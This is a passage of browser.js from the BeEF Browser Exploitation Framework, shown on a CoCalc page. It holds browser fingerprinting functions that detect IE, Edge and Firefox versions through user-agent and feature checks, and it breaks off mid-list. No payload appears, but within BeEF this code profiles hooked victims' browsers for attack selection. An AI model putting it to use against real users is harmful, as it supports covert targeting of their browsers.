Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/client/browser.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
/**
8
* Basic browser functions.
9
* @namespace beef.browser
10
*/
11
beef.browser = {
12
13
/**
14
* Returns the protocol.
15
* @example: beef.browser.getProtocol()
16
*/
17
getProtocol: function() {
18
return document.location.protocol;
19
},
20
21
/**
22
* Returns the user agent that the browser is claiming to be.
23
* @example: beef.browser.getBrowserReportedName()
24
*/
25
getBrowserReportedName: function () {
26
return navigator.userAgent;
27
},
28
29
/**
30
* Returns the underlying layout engine in use by the browser.
31
* @example: beef.browser.getBrowserEngine()
32
*/
33
getBrowserEngine: function() {
34
try {
35
var engine = platform.layout;
36
if (!!engine)
37
return engine;
38
} catch (e) {}
39
return 'unknown';
40
},
41
42
/**
43
* Returns true if Avant Browser.
44
* @example: beef.browser.isA()
45
*/
46
isA: function () {
47
return window.navigator.userAgent.match(/Avant TriCore/) != null;
48
},
49
50
/**
51
* Returns true if Iceweasel.
52
* @example: beef.browser.isIceweasel()
53
*/
54
isIceweasel: function () {
55
return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
56
},
57
58
/**
59
* Returns true if Midori.
60
* @example: beef.browser.isMidori()
61
*/
62
isMidori: function () {
63
return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
64
},
65
66
/**
67
* Returns true if Odyssey
68
* @example: beef.browser.isOdyssey()
69
*/
70
isOdyssey: function () {
71
return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
72
},
73
74
/**
75
* Returns true if Brave
76
* @example: beef.browser.isBrave()
77
*/
78
isBrave: function(){
79
return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
80
},
81
82
/**
83
* Returns true if IE6.
84
* @example: beef.browser.isIE6()
85
*/
86
isIE6: function () {
87
return !window.XMLHttpRequest && !window.globalStorage;
88
},
89
90
/**
91
* Returns true if IE7.
92
* @example: beef.browser.isIE7()
93
*/
94
isIE7: function () {
95
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
96
},
97
98
/**
99
* Returns true if IE8.
100
* @example: beef.browser.isIE8()
101
*/
102
isIE8: function () {
103
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
104
},
105
106
/**
107
* Returns true if IE9.
108
* @example: beef.browser.isIE9()
109
*/
110
isIE9: function () {
111
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
112
},
113
114
/**
115
*
116
* Returns true if IE10.
117
* @example: beef.browser.isIE10()
118
*/
119
isIE10: function () {
120
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
121
},
122
123
/**
124
*
125
* Returns true if IE11.
126
* @example: beef.browser.isIE11()
127
*/
128
isIE11: function () {
129
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
130
},
131
132
/**
133
*
134
* Returns true if Edge.
135
* @example: beef.browser.isEdge()
136
*/
137
isEdge: function () {
138
return !beef.browser.isIE() && !!window.styleMedia && (/Edg\/\d+\.\d/.test(window.navigator.userAgent) || /Edge\/\d+\.\d/.test(window.navigator.userAgent));
139
},
140
141
/**
142
* Returns true if IE.
143
* @example: beef.browser.isIE()
144
*/
145
isIE: function () {
146
return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
147
},
148
149
/**
150
* Returns true if FF2.
151
* @example: beef.browser.isFF2()
152
*/
153
isFF2: function () {
154
return !!window.globalStorage && !window.postMessage;
155
},
156
157
/**
158
* Returns true if FF3.
159
* @example: beef.browser.isFF3()
160
*/
161
isFF3: function () {
162
return !!window.globalStorage && !!window.postMessage && !JSON.parse;
163
},
164
165
/**
166
* Returns true if FF3.5.
167
* @example: beef.browser.isFF3_5()
168
*/
169
isFF3_5: function () {
170
return !!window.globalStorage && !!JSON.parse && !window.FileReader;
171
},
172
173
/**
174
* Returns true if FF3.6.
175
* @example: beef.browser.isFF3_6()
176
*/
177
isFF3_6: function () {
178
return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
179
},
180
181
/**
182
* Returns true if FF4.
183
* @example: beef.browser.isFF4()
184
*/
185
isFF4: function () {
186
return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
187
},
188
189
/**
190
* Returns true if FF5.
191
* @example: beef.browser.isFF5()
192
*/
193
isFF5: function () {
194
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
195
},
196
197
/**
198
* Returns true if FF6.
199
* @example: beef.browser.isFF6()
200
*/
201
isFF6: function () {
202
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
203
},
204
205
/**
206
* Returns true if FF7.
207
* @example: beef.browser.isFF7()
208
*/
209
isFF7: function () {
210
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
211
},
212
213
/**
214
* Returns true if FF8.
215
* @example: beef.browser.isFF8()
216
*/
217
isFF8: function () {
218
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
219
},
220
221
/**
222
* Returns true if FF9.
223
* @example: beef.browser.isFF9()
224
*/
225
isFF9: function () {
226
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
227
},
228
229
/**
230
* Returns true if FF10.
231
* @example: beef.browser.isFF10()
232
*/
233
isFF10: function () {
234
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
235
},
236
237
/**
238
* Returns true if FF11.
239
* @example: beef.browser.isFF11()
240
*/
241
isFF11: function () {
242
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
243
},
244
245
/**
246
* Returns true if FF12
247
* @example: beef.browser.isFF12()
248
*/
249
isFF12: function () {
250
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
251
},
252
253
/**
254
* Returns true if FF13
255
* @example: beef.browser.isFF13()
256
*/
257
isFF13: function () {
258
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
259
},
260
261
/**
262
* Returns true if FF14
263
* @example: beef.browser.isFF14()
264
*/
265
isFF14: function () {
266
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
267
},
268
269
/**
270
* Returns true if FF15
271
* @example: beef.browser.isFF15()
272
*/
273
isFF15: function () {
274
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
275
},
276
277
/**
278
* Returns true if FF16
279
* @example: beef.browser.isFF16()
280
*/
281
isFF16: function () {
282
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
283
},
284
285
/**
286
* Returns true if FF17
287
* @example: beef.browser.isFF17()
288
*/
289
isFF17: function () {
290
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
291
},
292
293
/**
294
* Returns true if FF18
295
* @example: beef.browser.isFF18()
296
*/
297
isFF18: function () {
298
return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
299
},
300
301
/**
302
* Returns true if FF19
303
* @example: beef.browser.isFF19()
304
*/
305
isFF19: function () {
306
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
307
},
308
309
/**
310
* Returns true if FF20
311
* @example: beef.browser.isFF20()
312
*/
313
isFF20: function () {
314
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
315
},
316
317
/**
318
* Returns true if FF21
319
* @example: beef.browser.isFF21()
320
*/
321
isFF21: function () {
322
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
323
},
324
325
/**
326
* Returns true if FF22
327
* @example: beef.browser.isFF22()
328
*/
329
isFF22: function () {
330
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
331
},
332
333
/**
334
* Returns true if FF23
335
* @example: beef.browser.isFF23()
336
*/
337
isFF23: function () {
338
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
339
},
340
341
/**
342
* Returns true if FF24
343
* @example: beef.browser.isFF24()
344
*/
345
isFF24: function () {
346
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
347
},
348
349
/**
350
* Returns true if FF25
351
* @example: beef.browser.isFF25()
352
*/
353
isFF25: function () {
354
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
355
},
356
357
/**
358
* Returns true if FF26
359
* @example: beef.browser.isFF26()
360
*/
361
isFF26: function () {
362
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
363
},
364
365
/**
366
* Returns true if FF27
367
* @example: beef.browser.isFF27()
368
*/
369
isFF27: function () {
370
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
371
},
372
373
/**
374
* Returns true if FF28
375
* @example: beef.browser.isFF28()
376
*/
377
isFF28: function () {
378
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
379
},
380
381
/**
382
* Returns true if FF29
383
* @example: beef.browser.isFF29()
384
*/
385
isFF29: function () {
386
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
387
},
388
389
/**
390
* Returns true if FF30
391
* @example: beef.browser.isFF30()
392
*/
393
isFF30: function () {
394
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
395
},
396
397
/**
398
* Returns true if FF31
399
* @example: beef.browser.isFF31()
400
*/
401
isFF31: function () {
402
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
403
},
404
405
/**
406
* Returns true if FF32
407
* @example: beef.browser.isFF32()
408
*/
409
isFF32: function () {
410
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
411
},
412
413
/**
414
* Returns true if FF33
415
* @example: beef.browser.isFF33()
416
*/
417
isFF33: function () {
418
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
419
},
420
421
/**
422
* Returns true if FF34
423
* @example: beef.browser.isFF34()
424
*/
425
isFF34: function () {
426
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
427
},
428
429
/**
430
* Returns true if FF35
431
* @example: beef.browser.isFF35()
432
*/
433
isFF35: function () {
434
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
435
},
436
437
/**
438
* Returns true if FF36
439
* @example: beef.browser.isFF36()
440
*/
441
isFF36: function () {
442
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
443
},
444
445
/**
446
* Returns true if FF37
447
* @example: beef.browser.isFF37()
448
*/
449
isFF37: function () {
450
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
451
},
452
453
/**
454
* Returns true if FF38
455
* @example: beef.browser.isFF38()
456
*/
457
isFF38: function () {
458
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
459
},
460
461
/**
462
* Returns true if FF39
463
* @example: beef.browser.isFF39()
464
*/
465
isFF39: function () {
466
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
467
},
468
469
/**
470
* Returns true if FF40
471
* @example: beef.browser.isFF40()
472
*/
473
isFF40: function () {
474
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
475
},
476
477
/**
478
* Returns true if FF41
479
* @example: beef.browser.isFF41()
480
*/
481
isFF41: function () {
482
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
483
},
484
485
/**
486
* Returns true if FF42
487
* @example: beef.browser.isFF42()
488
*/
489
isFF42: function () {
490
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
491
},
492
493
/**
494
* Returns true if FF43
495
* @example: beef.browser.isFF43()
496
*/
497
isFF43: function () {
498
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
499
},
500
501
/**
502
* Returns true if FF44
503
* @example: beef.browser.isFF44()
504
*/
505
isFF44: function () {
506
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
507
},
508
509
/**
510
* Returns true if FF45
511
* @example: beef.browser.isFF45()
512
*/
513
isFF45: function () {
514
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
515
},
516
517
/**
518
* Returns true if FF46
519
* @example: beef.browser.isFF46()
520
*/
521
isFF46: function () {
522
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
523
},
524
525
/**
526
* Returns true if FF47
527
* @example: beef.browser.isFF47()
528
*/
529
isFF47: function () {
530
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
531
},
532
533
/**
534
* Returns true if FF48
535
* @example: beef.browser.isFF48()
536
*/
537
isFF48: function () {
538
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
539
},
540
541
/**
542
* Returns true if FF49
543
* @example: beef.browser.isFF49()
544
*/
545
isFF49: function () {
546
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
547
},
548
549
/**
550
* Returns true if FF50
551
* @example: beef.browser.isFF50()
552
*/
553
isFF50: function () {
554
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
555
},
556
557
/**
558
* Returns true if FF51
559
* @example: beef.browser.isFF51()
560
*/
561
isFF51: function () {
562
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
563
},
564
565
/**
566
* Returns true if FF52
567
* @example: beef.browser.isFF52()
568
*/
569
isFF52: function () {
570
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
571
},
572
573
/**
574
* Returns true if FF53
575
* @example: beef.browser.isFF53()
576
*/
577
isFF53: function () {
578
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
579
},
580
581
/**
582
* Returns true if FF54
583
* @example: beef.browser.isFF54()
584
*/
585
isFF54: function () {
586
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/54./) != null;
587
},
588
589
/**
590
* Returns true if FF55
591
* @example: beef.browser.isFF55()
592
*/
593
isFF55: function () {
594
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/55./) != null;
595
},
596
597
/**
598
* Returns true if FF56
599
* @example: beef.browser.isFF56()
600
*/
601
isFF56: function () {
602
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/56./) != null;
603
},
604
605
/**
606
* Returns true if FF57
607
* @example: beef.browser.isFF57()
608
*/
609
isFF57: function () {
610
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/57./) != null;
611
},
612
613
/**
614
* Returns true if FF58
615
* @example: beef.browser.isFF58()
616
*/
617
isFF58: function () {
618
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/58./) != null;
619
},
620
621
/**
622
* Returns true if FF59
623
* @example: beef.browser.isFF59()
624
*/
625
isFF59: function () {
626
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/59./) != null;
627
},
628
629
/**
630
* Returns true if FF60
631
* @example: beef.browser.isFF60()
632
*/
633
isFF60: function () {
634
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/60./) != null;
635
},
636
637
/**
638
* Returns true if FF61
639
* @example: beef.browser.isFF61()
640
*/
641
isFF61: function () {
642
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/61./) != null;
643
},
644
645
/**
646
* Returns true if FF62
647
* @example: beef.browser.isFF62()
648
*/
649
isFF62: function () {
650
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/62./) != null;
651
},
652
653
/**
654
* Returns true if FF63
655
* @example: beef.browser.isFF63()
656
*/
657
isFF63: function () {
658
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/63./) != null;
659
},
660
661
/**
662
* Returns true if FF64
663
* @example: beef.browser.isFF64()
664
*/
665
isFF64: function () {
666
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/64./) != null;
667
},
668
669
/**
670
* Returns true if FF65
671
* @example: beef.browser.isFF65()
672
*/
673
isFF65: function () {
674
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/65./) != null;
675
},
676
677
/**
678
* Returns true if FF66
679
* @example: beef.browser.isFF66()
680
*/
681
isFF66: function () {
682
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/66./) != null;
683
},
684
685
/**
686
* Returns true if FF67
687
* @example: beef.browser.isFF67()
688
*/
689
isFF67: function () {
690
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/67./) != null;
691
},
692
693
/**
694
* Returns true if FF68
695
* @example: beef.browser.isFF68()
696
*/
697
isFF68: function () {
698
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/68./) != null;
699
},
700
701
/**
702
* Returns true if FF69
703
* @example: beef.browser.isFF69()
704
*/
705
isFF69: function () {
706
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/69./) != null;
707
},
708
709
/**
710
* Returns true if FF70
711
* @example: beef.browser.isFF70()
712
*/
713
isFF70: function () {
714
